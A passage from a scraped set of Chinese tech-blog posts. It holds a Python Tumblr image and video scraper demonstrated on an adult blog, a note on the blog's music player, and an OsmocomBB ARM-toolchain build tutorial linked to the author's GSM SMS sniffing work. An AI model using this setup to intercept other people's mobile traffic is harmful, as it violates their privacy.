aim_url)\r\n try:\r\n response_string = requests.get(url=aim_url, timeout=50).content.decode('utf8')\r\n if \"posts-no-posts content\" not in response_string:\r\n if source_type == \"images\":\r\n source_elements = re.findall(r'<img(.+?)>', response_string)\r\n else:\r\n source_elements = re.findall(r'<iframe(.+?)>', response_string)\r\n\r\n if len(source_elements) > 0:\r\n dir_path = sys.path[0] + '/' + aim_url.split('//')[1].split('.')[0] + '/'\r\n if not os.path.exists(dir_path):\r\n os.makedirs(dir_path)\r\n\r\n for this_source in source_elements:\r\n if source_type == \"images\":\r\n image_url = re.findall(r'src=\"(.+?)\"', this_source)[0]\r\n image_name = image_url.split('/')[-1]\r\n if \"tumblr_\" in image_name:\r\n write_file(image_url, dir_path, image_name)\r\n else:\r\n if \"/video/\" in this_source:\r\n video_url = re.findall(r\"src='(.+?)'\", this_source)[0]\r\n video_response = requests.get(url=video_url, timeout=50).content.decode('utf8')\r\n video_source = re.findall(r'<source src=\"(.+?)\"', video_response)[0]\r\n video_name = video_source.split('tumblr_')[1].split('/')[0] + '.mp4'\r\n write_file(video_source, dir_path, video_name)\r\n\r\n else:\r\n print('[x] Can not get any source.')\r\n page_index += 1\r\n get_source(nickname, page_index, source_type)\r\n else:\r\n print('[!] Get source complete!')\r\n except Exception as e:\r\n print(e)\r\n get_source(nickname, page_index, source_type)\r\n\r\n\r\ndef write_file(source_url, dir_path, file_name):\r\n if not os.path.exists(dir_path + file_name):\r\n print('[*] Source %s is downloading...' % file_name)\r\n file_download = requests.get(url=source_url, timeout=50)\r\n if file_download.status_code == 200:\r\n open(dir_path + file_name, 'wb').write(file_download.content)\r\n else:\r\n print('[*] Source %s has been downloaded.' % file_name)\r\n\r\n\r\nif __name__ == '__main__':\r\n source_type = sys.argv[1]\r\n user_nickname = sys.argv[2]\r\n get_source(user_nickname, 1, source_type)</pre>\r\n<p>\r\n\t\u8fd9\u91cc\u5bf9\u4ee3\u7801\u8fdb\u884c\u7b80\u5355\u7684\u89e3\u91ca\u3002\r\n</p>\r\n<p>\r\n\t\u811a\u672c\u4f7f\u7528<a href=\"https://www.92ez.com/?action=article&tag=python3\" onclick=\"javascript:tagshow('python3');return false;\">python3</a>\u8fdb\u884c\u7f16\u5199\uff0c\u8003\u8651\u5230\u68af\u5b50\u627f\u53d7\u7684\u538b\u529b\u6bd4\u8f83\u5927\uff0c\u6ca1\u6709\u542f\u7528\u591a\u7ebf\u7a0b\u4e0b\u8f7d\uff0c\u5355\u7ebf\u7a0b\u6302\u673a\u4e0b\u8f7d\u89c6\u9891\u591f\u7528\u4e86\uff0c\u8001\u53f8\u673a\u4eec\u5982\u679c\u89c9\u5f97\u81ea\u5df1\u7684\u68af\u5b50\u591f\u7a33\uff0c\u53ef\u4ee5\u52a0\u5165\u591a\u7ebf\u7a0b\u6279\u91cf\u3002\r\n</p>\r\n<p>\r\n\t\u811a\u672c\u4f1a\u81ea\u52a8\u904d\u5386\u6307\u5b9a\u535a\u5ba2\u7684\u6587\u7ae0\u6240\u6709\u9875\u6570\u8fdb\u884c\u4e0b\u8f7d\u3002\r\n</p>\r\n<p>\r\n\t\u811a\u672c\u4f7f\u7528\u7684\u65f6\u5019\u63a5\u53d7\u4e24\u4e2a\u53c2\u6570\uff0c\u7b2c\u4e00\u4e2a\u662f\u4e0b\u8f7d\u7684\u7c7b\u578b\uff0c\u5206\u4e3a\u56fe\u7247\u548c\u89c6\u9891\u4e24\u79cd\uff0c\u7b2c\u4e8c\u4e2a\u53c2\u6570\u662f\u6307\u5b9aTumblr\u7684\u535a\u5ba2\u5730\u5740\uff0c\u8001\u53f8\u673a\u4eec\u624b\u4e0a\u80af\u5b9a\u662f\u6536\u96c6\u4e86\u5927\u628a\u7684\u8f66\u724c\u53f7\uff0c\u968f\u65f6\u51c6\u5907\u53d1\u8f66\u5427\u3002\r\n</p>\r\n<p>\r\n\t\u5bf9\uff0c\u5c31\u662f\u8fd9\u4e48\u7b80\u5355\uff0c\u811a\u672c\u4f1a\u6839\u636e\u5f53\u524d\u7684\u8f66\u724c\u53f7\u81ea\u52a8\u521b\u5efa\u5bf9\u5e94\u7684\u6587\u4ef6\u5939\u3002\u5982\u679c\u6587\u4ef6\u5939\u6216\u8005\u8d44\u6e90\u5df2\u7ecf\u5b58\u5728\uff0c\u5219\u4f1a\u8df3\u8fc7\uff0c\u907f\u514d\u91cd\u590d\u4e0b\u8f7d</p><div class=\"attach\"><a href=\"https://www.92ez.com/attachment.php?id=565\" target=\"_blank\"><img src=\"https://www.92ez.com/attachments/date_201711/535dedb47a5e53be4ecda84f79a62b67.png\" alt=\"2017-11-22 16-02-39\u5c4f\u5e55\u622a\u56fe.png - \u5927\u5c0f: 78.71 KB - \u5c3a\u5bf8: 827 x 503 - \u70b9\u51fb\u6253\u5f00\u65b0\u7a97\u53e3\u6d4f\u89c8\u5168\u56fe\" width=\"827\" height=\"503\"></a></div>\r\n\r\n<h2>\r\n\t\u622a\u56fe\r\n</h2>\r\n<p>\r\n\t\u4e0b\u9762\u5c31\u653e\u4e00\u4e9b\u4f7f\u7528\u622a\u56fe\u5427\uff08\u8001\u53f8\u673a\u90fd\u61c2\uff09\r\n</p>\r\n<p>\r\n\t\u9996\u5148\u662f\u7ed9\u57fa\u53cb\u4e0b\u8f7d\u7684itunes\u7684\u56fe\u7247\u8d44\u6e90</p><div class=\"attach\"><a href=\"https://www.92ez.com/attachment.php?id=562\" target=\"_blank\"><img src=\"https://www.92ez.com/attachments/date_201711/57d0ba176d8c96d35b4a9846f2fd851e.png\" alt=\"itunesartworks.png - \u5927\u5c0f: 384.37 KB - \u5c3a\u5bf8: 963 x 814 - \u70b9\u51fb\u6253\u5f00\u65b0\u7a97\u53e3\u6d4f\u89c8\u5168\u56fe\" width=\"900\" height=\"761\"></a></div><div class=\"attach\"><a href=\"https://www.92ez.com/attachment.php?id=563\" target=\"_blank\"><img src=\"https://www.92ez.com/attachments/date_201711/f3bd267e67578d02d8a6b2ddaa90cea9.png\" alt=\"2017-11-22 15-53-12\u5c4f\u5e55\u622a\u56fe.png - \u5927\u5c0f: 275.45 KB - \u5c3a\u5bf8: 1287 x 906 - \u70b9\u51fb\u6253\u5f00\u65b0\u7a97\u53e3\u6d4f\u89c8\u5168\u56fe\" width=\"900\" height=\"634\"></a></div>\u7136\u540e\u5c31\u662f\u8001\u53f8\u673a\u4eec\u6bd4\u8f83\u559c\u6b22\u7684\u8f66\u724c\u53f7\uff08\u968f\u610f\u6d4b\u8bd5\u4e00\u4e2a\uff0c\u5c31\u4e0d\u8ba4\u771f\u4e0b\u8f7d\u4e86\uff09\r\n\r\n<pre class=\"brush:bash;\">python3 getsource.py video girls-squirting-cum\r\n[*] Source nzoonnR36c1umgj3m.mp4 is downloading...\r\n[*] Source ninfufuXmn1u4mekg.mp4 is downloading...\r\n[*] Source o79hmuu1wY1vqiyol.mp4 is downloading...\r\n[*] Source mrc9n23Vxs1svn096.mp4 is downloading...\r\n[*] Source o6zgxoHMQk1tvpk0r.mp4 is downloading...\r\n[o] Get source from blog https://girls-squirting-cum.tumblr.com/page/2 ...\r\n[*] Source omb96msjhR1w2n6ss.mp4 is downloading...\r\n[*] Source odf5nwFZm91vbvpm2.mp4 is downloading...\r\n[*] Source noc658Esmc1uq5bz4.mp4 is downloading...\r\n[*] Source o6yrj0H6351uxmo1u.mp4 is downloading...\r\n[*] Source o2rkb8hbwr1v3013r.mp4 is downloading...\r\n</pre>\r\n<p>\r\n\t\u56fe\u7247\u7f29\u5c0f\uff0c\u5c31\u4e0d\u6253\u7801\u4e86</p><div class=\"attach\"><a href=\"https://www.92ez.com/attachment.php?id=564\" target=\"_blank\"><img src=\"https://www.92ez.com/attachments/date_201711/e8c81685c9d32d528e2cd955fba40a4b.png\" alt=\"2017-11-22 16-02-29\u5c4f\u5e55\u622a\u56fe.png - \u5927\u5c0f: 119.22 KB - \u5c3a\u5bf8: 827 x 503 - \u70b9\u51fb\u6253\u5f00\u65b0\u7a97\u53e3\u6d4f\u89c8\u5168\u56fe\" width=\"827\" height=\"503\"></a></div>\r\n\r\n<h2>\r\n\t\u6269\u5c55\r\n</h2>\r\n<p>\r\n\t\u5f53\u7136\uff0c\u5982\u679c\u4f60\u53ea\u662f\u7b80\u5355\u7684\u56e0\u4e3a\u56fd\u5185\u7f51\u7edc\u95ee\u9898\u8bbf\u95ee\u4e0d\u4e86\uff0c\u4f60\u53ef\u4ee5\u4f7f\u7528\u811a\u672c\u642d\u5efa\u4e00\u4e2a\u8fdc\u7a0b\u670d\u52a1\u7aef\uff0c\u535a\u4e3b\u7a0d\u5fae\u4fee\u6539\u4e86\u4e0b\u811a\u672c\u914d\u5408Flask\uff0c\u53d8\u6210\u53ef\u8fdc\u7a0b\u8bbf\u95ee\u7684web\u670d\u52a1\u7aef\uff0c\u8f93\u5165\u8f66\u724c\u53f7\uff0c\u81ea\u52a8\u6279\u91cf\u4e0b\u8f7d\u8d44\u6e90\u5e76\u6253\u5305\uff0c\u8fd9\u6837\u8fdc\u5728\u7f8e\u56fd\u7684\u670d\u52a1\u5668\u5c31\u80fd\u591f\u5168\u81ea\u52a8\u9ad8\u901f\u4e0b\u8f7d\u597d\u8d44\u6e90\uff0c\u9700\u8981\u7684\u65f6\u5019\u53d6\u56de\u6765\u5c31\u53ef\u4ee5\u4e86\uff0c\u65b9\u4fbf\u5feb\u6377\uff0c\u5177\u4f53\u5982\u4f55\u6539\u5199Flask\u5c31\u4e0d\u63cf\u8ff0\u4e86\uff0c\u535a\u4e3b\u535a\u5ba2\u4e0a\u6709Flask\u5f00\u53d1\u7684\u76f8\u5173\u6587\u7ae0\uff0c\u9700\u8981\u7684\u540c\u5b66\u81ea\u884c\u53c2\u8003\u3002\r\n</p>\r\n<h2>\r\n\t\u66f4\u65b0\r\n</h2>\r\n<p>\r\n\t2017.12.08 \u66f4\u65b0\uff1a\r\n</p>\r\n<p>\r\n\t\u65b0\u589e\u8d85\u7ea7\u641c\u7d22\u811a\u672c\uff0c\u8fd9\u4e2a\u811a\u672c\u6293\u53d6\u4e86 https://pastebin.com/raw/zmKcfPqg \u4e0a\u7684rss\u5217\u8868\uff0c\u5173\u4e8e\u5217\u8868\u4e2d\u6240\u5c55\u793a\u7684rss\u90fd\u662f\u4ec0\u4e48\u5185\u5bb9\uff0c\u8fd9\u91cc\u4e0d\u505a\u63cf\u8ff0\uff0c\u5404\u4f4d\u8001\u53f8\u673a\u6253\u5f00\u5730\u5740\u77a7\u4e00\u77a7\u5c31\u77e5\u9053\u4e86\u3002\r\n</p>\r\n<p>\r\n\t\u811a\u672c\u65b0\u589e\u4e86\u591a\u7ebf\u7a0b\u4e0b\u8f7d\uff0c\u81ea\u52a8\u6293\u53d6\u535a\u5ba2\u5217\u8868\u5730\u5740\uff0c\u81ea\u52a8\u4e0b\u8f7d\u5168\u90e8\u56fe\u7247\u548c\u89c6\u9891\uff0c\u591a\u7ebf\u7a0b\u4e0b\u8f7d\u901f\u5ea6\u98de,\u8d77\u3002\r\n</p>\r\n<h2>\r\n\t\u63d0\u793a\r\n</h2>\r\n<p>\r\n\t\u98d9\u8f66\u6709\u98ce\u9669\uff0c\u8bf7\u6587\u660e\u9a7e\u9a76\r\n</p><div class=\"useWarning\" style=\"background-color: #f0f0f0\">\n\u672c\u6587\u94fe\u63a5\uff1ahttps://www.92ez.com/?action=show&id=23460 <br>\n <b>!!! \u8f6c\u8f7d\u8bf7\u5148\u8054\u7cfbnon3gov@gmail.com\u6388\u6743\u5e76\u5728\u663e\u8457\u4f4d\u7f6e\u6ce8\u660e\u4f5c\u8005\u548c\u539f\u6587\u94fe\u63a5 !!! <a href=\"https://www.92ez.com/black.html\" target=\"_blank\" style=\"color: #000;text-decoration: underline;background: none\">\u5c0f\u9ed1\u5c4b</a> </b><br>\n\u63d0\u793a\uff1a\u6280\u672f\u6587\u7ae0\u6709\u4e00\u5b9a\u7684\u65f6\u6548\u6027\uff0c\u8bf7\u5148\u786e\u8ba4\u662f\u5426\u9002\u7528\u4f60\u5f53\u524d\u7684\u7cfb\u7edf\u73af\u5883\u3002\n</div>\n\n<style type=\"text/css\">\n.useWarning a{color:#fff;background-color:#ea6f5a;border-radius:3px;padding:5px 10px;text-decoration: none;}\n.tuijian{margin-top:10px;}\n.tuijian a{display:block;}\n.tuijian img{padding:0;margin:0;}\n.tuijian a img{display:block;width:100%;}\n.donateme{font-size: 14px;display:none;}\n.donateme a{color: green;font-weight: bold;}\n.useWarning{padding: 5px 10px;border: #c00 1px dashed;margin: 10px 0 0;color: #c00;}\n</style>\n</div>"]},
{"title": ["\u535a\u5ba2\u65b0\u589e\u97f3\u4e50\u529f\u80fd\u7684\u8bf4\u660e"], "date": ["KBdancer", " \u53d1\u8868\u4e8e 2017-11-10, 11:56 AM. \n\u53d1\u8868\u5728\uff1a\n\t\t\t\t\t\t\t\t\n ", "\u968f\u624b\u8bb0", "\n"], "content": ["<div class=\"post-body\">\n<h2>\r\n\t\u524d\u8a00\r\n</h2>\r\n<p>\r\n\t\u597d\u65e9\u4e4b\u524d\u5c31\u6709\u670b\u53cb\u5728\u535a\u5ba2\u7ed9\u6211\u7559\u8a00\u8bf4\u6211\u535a\u5ba2\u4e0a\u7684\u97f3\u4e50\u529f\u80fd\u5f88\u96be\u7528\uff0c\u5177\u4f53\u8868\u73b0\u5728\u5237\u65b0\u9875\u9762\u548c\u9875\u9762\u8df3\u8f6c\u7684\u65f6\u5019\u97f3\u4e50\u4ece\u5934\u5f00\u59cb\u64ad\uff0c\u4f53\u9a8c\u975e\u5e38\u5dee\u3002\r\n</p>\r\n<p>\r\n\t\u535a\u5ba2\u672c\u8eab\u662f\u4e0d\u5e26\u80cc\u666f\u97f3\u4e50\u529f\u80fd\u7684\uff0c\u6211\u968f\u624b\u52a0\u4e86\u51e0\u4e2a\u6807\u7b7e\u641e\u4e86\u4e2a\u539f\u751f\u7684\u64ad\u653e\u5668\u4e0a\u53bb\uff0c\u6ca1\u600e\u4e48\u4f18\u5316\uff0c\u6211\u4e5f\u4e00\u76f4\u60f3\u62bd\u65f6\u95f4\u6539\u6539\uff0c\u4eca\u5929\u7ec8\u4e8e\u7ed9\u6539\u4e86...\r\n</p>\r\n<h2>\r\n\t\u66f4\u65b0\r\n</h2>\r\n<p>\r\n\t\u65b0\u589e\u64ad\u653e\u97f3\u4e50\u5217\u8868\u529f\u80fd\uff0c\u5217\u8868\u968f\u673a\u64ad\u653e\r\n</p>\r\n<p>\r\n\t\u65b0\u589e\u64ad\u653e\u97f3\u4e50\u540d\u5b57\u529f\u80fd\uff0c\u5f88\u591a\u670b\u53cb\u540e\u53f0\u7559\u8a00\u8bf4\u4e0d\u77e5\u9053\u6b4c\u66f2\u5565\u540d\uff0c\u6211\u8fd9\u56de\u590d\u53c8\u4e0d\u662f\u5f88\u53ca\u65f6\uff0c\u7d22\u6027\u76f4\u63a5\u52a0\u4e0a\u53bb\r\n</p>\r\n<p>\r\n\t\u89e3\u51b3\u4e86\u5237\u65b0\u9875\u9762\u4ece\u5934\u5f00\u59cb\u64ad\u7684\u95ee\u9898\uff0c\u5237\u65b0\u53ef\u4ee5\u7eed\u64ad\r\n</p>\r\n<p>\r\n\t\u65b0\u589e\u4e86\u5207\u6b4c\u7684\u529f\u80fd\r\n</p><div class=\"useWarning\" style=\"background-color: #f0f0f0\">\n\u672c\u6587\u94fe\u63a5\uff1ahttps://www.92ez.com/?action=show&id=23459 <br>\n <b>!!! \u8f6c\u8f7d\u8bf7\u5148\u8054\u7cfbnon3gov@gmail.com\u6388\u6743\u5e76\u5728\u663e\u8457\u4f4d\u7f6e\u6ce8\u660e\u4f5c\u8005\u548c\u539f\u6587\u94fe\u63a5 !!! <a href=\"https://www.92ez.com/black.html\" target=\"_blank\" style=\"color: #000;text-decoration: underline;background: none\">\u5c0f\u9ed1\u5c4b</a> </b><br>\n\u63d0\u793a\uff1a\u6280\u672f\u6587\u7ae0\u6709\u4e00\u5b9a\u7684\u65f6\u6548\u6027\uff0c\u8bf7\u5148\u786e\u8ba4\u662f\u5426\u9002\u7528\u4f60\u5f53\u524d\u7684\u7cfb\u7edf\u73af\u5883\u3002\n</div>\n\n<style type=\"text/css\">\n.useWarning a{color:#fff;background-color:#ea6f5a;border-radius:3px;padding:5px 10px;text-decoration: none;}\n.tuijian{margin-top:10px;}\n.tuijian a{display:block;}\n.tuijian img{padding:0;margin:0;}\n.tuijian a img{display:block;width:100%;}\n.donateme{font-size: 14px;display:none;}\n.donateme a{color: green;font-weight: bold;}\n.useWarning{padding: 5px 10px;border: #c00 1px dashed;margin: 10px 0 0;color: #c00;}\n</style>\n</div>"]},
{"title": ["Ubuntu \u7f16\u8bd1 OsmocomBB \u73af\u5883 [\u66f4\u65b02017-10-24]"], "date": ["KBdancer", " \u53d1\u8868\u4e8e 2017-10-24, 11:17 AM. \n\u53d1\u8868\u5728\uff1a\n\t\t\t\t\t\t\t\t\n ", "\u7ecf\u9a8c\u5206\u4eab", "\n"], "content": ["<div class=\"post-body\">\n<h2>\r\n\t\u80cc\u666f\r\n</h2>\r\n<p>\r\n\t\u5173\u4e8eOsmocomBB\u76f8\u5173\u7684\u7f16\u8bd1\u65b9\u6cd5\uff0c\u535a\u4e3b\u57282015\u5e74\u5c31\u5df2\u7ecf\u53d1\u5e03\u8fc7\u8be6\u7ec6\u7684\u6587\u7ae0\u5e2e\u52a9\u5f88\u591a\u73a9GSM \r\nSniff\u7684\u670b\u53cb\u6210\u529f\u5b8c\u6210\u5b9e\u9a8c\uff0c\u968f\u7740\u7cfb\u7edf\u73af\u5883\u4e0d\u65ad\u66f4\u65b0\uff0cOsmocomBB\u5b98\u65b9\u4e5f\u5bf9\u76f8\u5173\u4ee3\u7801\u8fdb\u884c\u4e86bug\u4fee\u590d\u548c\u4fee\u6539\uff0c\u7f51\u7ad9\u7ed3\u6784\u4e5f\u4e0e\u4e4b\u524d\u6709\u8f83\u5927\u53d8\u5316\uff0c\u5bfc\u81f4\u6211\u535a\u5ba2\u4e0a\u7684\u5f88\u591a\u6559\u7a0b\u6240\u6d89\u53ca\u5230\u7684\u6587\u4ef6\u4e0b\u8f7d\u6216\u8005\u94fe\u63a5\u5931\u6548\uff0c\u7ed9\u4e0d\u5c11\u670b\u53cb\u5e26\u6765\u4e86\u9ebb\u70e6\uff0c\u6240\u4ee5\u535a\u4e3b\u6253\u7b97\u91cd\u65b0\u518d\u51fa\u4e00\u4efd\u6700\u65b0\u7684\u7f16\u8bd1\u6559\u7a0b\uff0c\u5176\u4ed6\u81ea\u52a8\u5316\u811a\u672c\u535a\u4e3b\u4f1a\u5728\u540e\u671f\u4f7f\u7528Python3\u6539\u5199\u6216\u8005\u4f7f\u7528PyQt5\u505a\u6210\u53ef\u89c6\u5316\u754c\u9762\u4f9b\u5927\u5bb6\u53c2\u8003\u3002\r\n</p>\r\n<p>\r\n\t\u518d\u6b21\u58f0\u660e\uff1a\u6280\u672f\u6587\u7ae0\u6709\u4e00\u5b9a\u7684\u65f6\u6548\u6027\uff0c\u9047\u5230\u95ee\u9898\u5e94\u8be5\u9996\u5148\u60f3\u529e\u6cd5\u81ea\u5df1\u89e3\u51b3\uff0c\u63a8\u8350\u4f7f\u7528\u8c37\u6b4c\u641c\u7d22\u5f15\u64ce\u3002\u5173\u4e8eGSM\r\nSniff\u76f8\u5173\u7684\u6240\u6709Python\u811a\u672c\uff0c\u51e1\u662f\u5728\u672c\u535a\u5ba2\u63d0\u5230\u7684\u7531\u535a\u4e3b\u4eb2\u81ea\u7f16\u5199\u539f\u521b\u53d1\u5e03\u7684\uff0c\u90fd\u662f\u5b8c\u5168\u514d\u8d39\uff0c\u4e0d\u5b58\u5728\u6536\u8d39\u60c5\u51b5\uff0c\u56e0\u6b64\u535a\u4e3b\u4e5f\u6ca1\u6709\u4e49\u52a1\u5e2e\u52a9\u6bcf\u4e2a\u4f7f\u7528\u811a\u672c\u7684\u4eba\u89e3\u51b3\u9047\u5230\u7684\u95ee\u9898\uff0c\u8bf7\u8c05\u89e3\u3002\r\n</p>\r\n<h2>\r\n\t\u4ecb\u7ecd\r\n</h2>\r\n<p>\r\n\tOsmocomBB\u8fd9\u4e2a\u9879\u76ee\u7684\u8be6\u7ec6\u4fe1\u606f\uff0c\u8bf7\u53c2\u8003\u5b98\u7f51 <a href=\"https://osmocom.org/projects/baseband\" target=\"_blank\">https://osmocom.org/projects/baseband</a> \uff0c\u535a\u4e3b\u8ba4\u4e3a\u5b98\u7f51\u624d\u662f\u6700\u5b8c\u5584\u6700\u53ef\u9760\u7684\u4fe1\u606f\u6765\u6e90\uff0c\u800c\u672c\u535a\u5ba2\u53ea\u662f\u5bf9\u5b98\u7f51\u7684\u4fe1\u606f\u8fdb\u884c\u4e86\u6574\u7406\u548c\u7ffb\u8bd1\uff0c\u65b9\u4fbf\u82f1\u6587\u4e0d\u592a\u597d\u7684\u670b\u53cb\u987a\u5229\u5b8c\u6210\u5b9e\u9a8c\uff0c\u4e5f\u5c06\u90e8\u5206\u6bd4\u8f83\u96be\u61c2\u7684\u90e8\u5206\u8fdb\u884c\u901a\u4fd7\u6613\u61c2\u7684\u8bb2\u89e3\u3002\r\n</p>\r\n<p>\r\n\t\u535a\u4e3b\u4e4b\u524d\u5199\u8fc7\u4e0d\u5c11\u5173\u4e8eGSM\u77ed\u4fe1\u55c5\u63a2\u76f8\u5173\u7684\u6587\u7ae0\uff0c\u968f\u7740\u79d1\u6280\u7684\u8fdb\u6b65\uff0c2G\u7f51\u7edc\u5373\u5c06\u88ab3G\u548c4G\u53d6\u4ee3\uff0c\u751a\u81f35G\u7f51\u7edc\u4e5f\u5373\u5c06\u5230\u6765\uff0cOsmocomBB\u8fd9\u4e2a\u9879\u76ee\u5bf9\u4e8e3G\u30014G\u30015G\u7f51\u7edc\u5e76\u4e0d\u9002\u7528\uff0c\u4f34\u968f\u77402G\u7f51\u7edc\u7684\u9010\u6e10\u6d88\u5931\uff0c\u8fd9\u4e2a\u9879\u76ee\u7684\u5b9e\u9645\u4ef7\u503c\u4e5f\u4e0d\u5982\u4ece\u524d\uff0c\u4f46\u662f\u5982\u679c\u4f60\u5bf9GSM\u8702\u7a9d\u7f51\u7edc\uff0c\u6216\u8005\u5bf9\u79fb\u52a8\u901a\u4fe1\u7f51\u7edc\u611f\u5174\u8da3\uff0c\u5e76\u4e14\u6709\u4e00\u5b9a\u7684\u7f16\u7a0b\u57fa\u7840\uff0c\u535a\u4e3b\u5efa\u8bae\u4f60\u4ed4\u7ec6\u7684\u9605\u8bfb\u8fd9\u4e2a\u9879\u76ee\u7684\u6e90\u4ee3\u7801\uff0c\u8fd9\u5bf9\u4e8e\u7406\u89e3\u7f51\u7edc\u7ed3\u6784\uff0c\u76f8\u5173\u534f\u8bae\u90fd\u662f\u975e\u5e38\u6709\u5e2e\u52a9\u7684\uff0c\u540c\u6837\u7684\uff0c\u4f60\u4e5f\u53ef\u4ee5\u9605\u8bfb\u4e0e\u4e4b\u76f8\u5173\u7684\u5176\u4ed6\u9879\u76ee\uff0c\u5bf9\u4e8e\u4e86\u89e33G\u548c4G\u7f51\u7edc\u4e5f\u5f88\u6709\u5e2e\u52a9\u3002\r\n</p>\r\n<h2>\r\n\t\u6559\u7a0b\r\n</h2>\r\n<p>\r\n\t\u5e9f\u8bdd\u5c31\u4e0d\u591a\u8bf4\u4e86\uff0c\u4e4b\u524d\u7684\u8001\u6587\u7ae0\u8bf7\u81ea\u884c\u7ffb\u770b\u535a\u4e3b\u4e4b\u524d\u5199\u7684\u4e00\u4e9b\u4e1c\u897f\uff0c\u63a5\u4e0b\u6765\u76f4\u63a5\u5f00\u59cb\u914d\u7f6e\u6d41\u7a0b\u3002\r\n</p>\r\n<p>\r\n\tOsmocomBB\u9879\u76ee\u7684\u6240\u6709\u6587\u7ae0\u90fd\u5728\u8fd9\u4e2a\u5730\u5740 <a href=\"https://osmocom.org/projects/baseband/wiki\" target=\"_blank\">https://osmocom.org/projects/baseband/wiki </a>\uff0c\u8fd9\u91cc\u8be6\u7ec6\u8bb0\u5f55\u4e86\u6bcf\u4e00\u4e2a\u7ec6\u8282\uff0c\u8bf7\u81ea\u884c\u7814\u8bfb\uff0c\u535a\u4e3b\u53ea\u5199\u4e86\u73af\u5883\u642d\u5efa\u7684\u90e8\u5206\u3002\r\n</p>\r\n<p>\r\n\t\u535a\u4e3b\u8fd9\u91cc\u7684\u7cfb\u7edf\u73af\u5883\u5982\u56fe\u6240\u793a</p><div class=\"attach\"><a href=\"https://www.92ez.com/attachment.php?id=559\" target=\"_blank\"><img src=\"https://www.92ez.com/attachments/date_201710/4dbbd230ffa72e562d82f224a887c99b.png\" alt=\"2017-10-24 12-48-40\u5c4f\u5e55\u622a\u56fe.png - \u5927\u5c0f: 35.39 KB - \u5c3a\u5bf8: 840 x 359 - \u70b9\u51fb\u6253\u5f00\u65b0\u7a97\u53e3\u6d4f\u89c8\u5168\u56fe\" width=\"840\" height=\"359\"></a></div>\r\n\r\n<h3>\r\n\t[1]\uff1a\u521b\u5efaARM\u7f16\u8bd1\u73af\u5883\r\n</h3>\r\n<p>\r\n\tOsmocomBB\u9879\u76ee\u662f\u8fd0\u884c\u5728\u4e00\u4e2a\u79fb\u52a8\u7ec8\u7aef\u4e5f\u5c31\u662f\u4e00\u4e2a\u624b\u673a\u4e0a\u9762\uff0c\u751f\u6210\u4e86\u4e00\u4e2a\u56fa\u4ef6\u5e76\u5237\u5165\u624b\u673a\uff0c\u7528\u4e8e\u63a7\u5236\u624b\u673a\u7684\u5404\u79cd\u64cd\u4f5c\u5e76\u63d0\u4f9b\u4e00\u4e2a\u63a5\u53e3\u7ed9\u7535\u8111\u63a5\u6536\u7535\u8111\u4f20\u8fc7\u53bb\u7684\u6307\u4ee4\uff0c\u90a3\u4e48\u5c31\u9700\u8981\u672c\u5730\u7535\u8111\u6709\u4e00\u4e2a\u7528\u4e8e\u8fde\u63a5\u624b\u673a\u7684\u901a\u9053\uff0c\u5728\u8fd9\u91cc\u53eb\u505aosmocon\uff0c\u5236\u4f5c\u624b\u673a\u56fa\u4ef6\u9700\u8981\u4f7f\u7528ARM\u7f16\u8bd1\u73af\u5883\u7f16\u8bd1\u751f\u6210\u6700\u7ec8\u7684.bin\u6587\u4ef6\uff0c\u6240\u4ee5\u9996\u5148\u5c31\u662f\u642d\u5efa\u8fd9\u4e2aARM\u7f16\u8bd1\u73af\u5883\u3002\r\n</p>\r\n<p>\r\n\t\u5f00\u59cb\u642d\u5efa\u73af\u5883\u4e4b\u524d\uff0c\u6211\u8ba4\u4e3a\u4f60\u5df2\u7ecf\u51c6\u5907\u597d\u4e86Linux\u73af\u5883\u5e76\u66f4\u65b0\u5230\u6700\u65b0\u7248\u672c\uff0c\u521b\u5efa\u4e00\u4e2a\u6587\u4ef6\u5939\u7528\u6765\u5b58\u653eARM\u7f16\u8bd1\u73af\u5883\u7684\u6240\u9700\u6587\u4ef6\uff0c\u8fd9\u91cc\u5047\u8bbe\u521b\u5efa\u7684\u6587\u4ef6\u5939\u4e3aarmtoolchain\uff0c\u8fdb\u5165\u6587\u4ef6\u5939\u540e\u4e0b\u8f7d\u6784\u5efa\u811a\u672c\u5e76\u8d4b\u4e88\u5176\u53ef\u6267\u884c\u6743\u9650\r\n</p>\r\n<pre class=\"brush:bash;\">mkdir armtoolchain\r\ncd armtoolchain\r\nwget https://osmocom.org/attachments/download/2052/gnu-arm-build.3.sh\r\nsudo chmod +x gnu-arm-build.3.sh</pre>\r\n<p>\r\n\t\u63a5\u7740\u521b\u5efa\u51e0\u4e2a\u6587\u4ef6\u5939\r\n</p>\r\n<pre class=\"brush:bash;\">mkdir build install src</pre>\r\n<p>\r\n\t\u8fd9\u51e0\u4e2a\u6587\u4ef6\u5939\u5206\u522b\u5b58\u653e\u4e86\u5bf9\u5e94\u7684\u6587\u4ef6\uff0c\u5207\u6362\u5230src\u6587\u4ef6\u5939\u4e0b\u8f7d\u5fc5\u8981\u7684\u6587\u4ef6\u5305\r\n</p>\r\n<p>\r\n\t<span style=\"color:#E53333;\">\u6ce8\u610f\uff1a\u8fd9\u91cc\u7684\u4e0b\u8f7d\u5730\u5740\u53ef\u80fd\u5f88\u6162\u6216\u8005\u65e0\u6cd5\u4e0b\u8f7d\uff0c\u8bf7\u81ea\u884c\u51c6\u5907\u597d\u68af\u5b50</span> \r\n</p>\r\n<pre class=\"brush:bash;\">cd src/\r\nwget https://ftp.gnu.org/gnu/gcc/gcc-4.8.2/gcc-4.8.2.tar.bz2\r\nwget https://ftp.gnu.org/gnu/binutils/binutils-2.21.1a.tar.bz2\r\nwget ftp://sources.redhat.com/pub/newlib/newlib-1.19.0.tar.gz</pre>\r\n<p>\r\n\t\u8fd9\u4e2a\u65f6\u5019\u4e0d\u8981\u7740\u6025\u6784\u5efa\uff0c\u5148\u5b89\u88c5\u4e00\u4e9b\u5fc5\u987b\u7684\u4f9d\u8d56\r\n</p>\r\n<pre class=\"brush:bash;\">sudo apt-get install build-essential libgmp3-dev libmpfr-dev libx11-6 libx11-dev texinfo flex bison libncurses5 libncurses5-dbg libncurses5-dev libncursesw5 libncursesw5-dbg libncursesw5-dev zlibc zlib1g-dev libmpfr4 libmpc-dev</pre>\r\n\u7136\u540e\u5c31\u53ef\u4ee5\u6267\u884c\u6784\u5efa\u811a\u672c\u4e86\r\n<pre class=\"brush:bash;\">cd ..\r\n./gnu-arm-build.3.sh\r\nI will build an arm-none-eabi cross-compiler:\r\n\r\n Prefix: /home/kbdancer/armtoolchain/install\r\n Sources: /home/kbdancer/armtoolchain/src\r\n Build files: /home/kbdancer/armtoolchain/build\r\n\r\nPress ^C now if you do NOT want to do 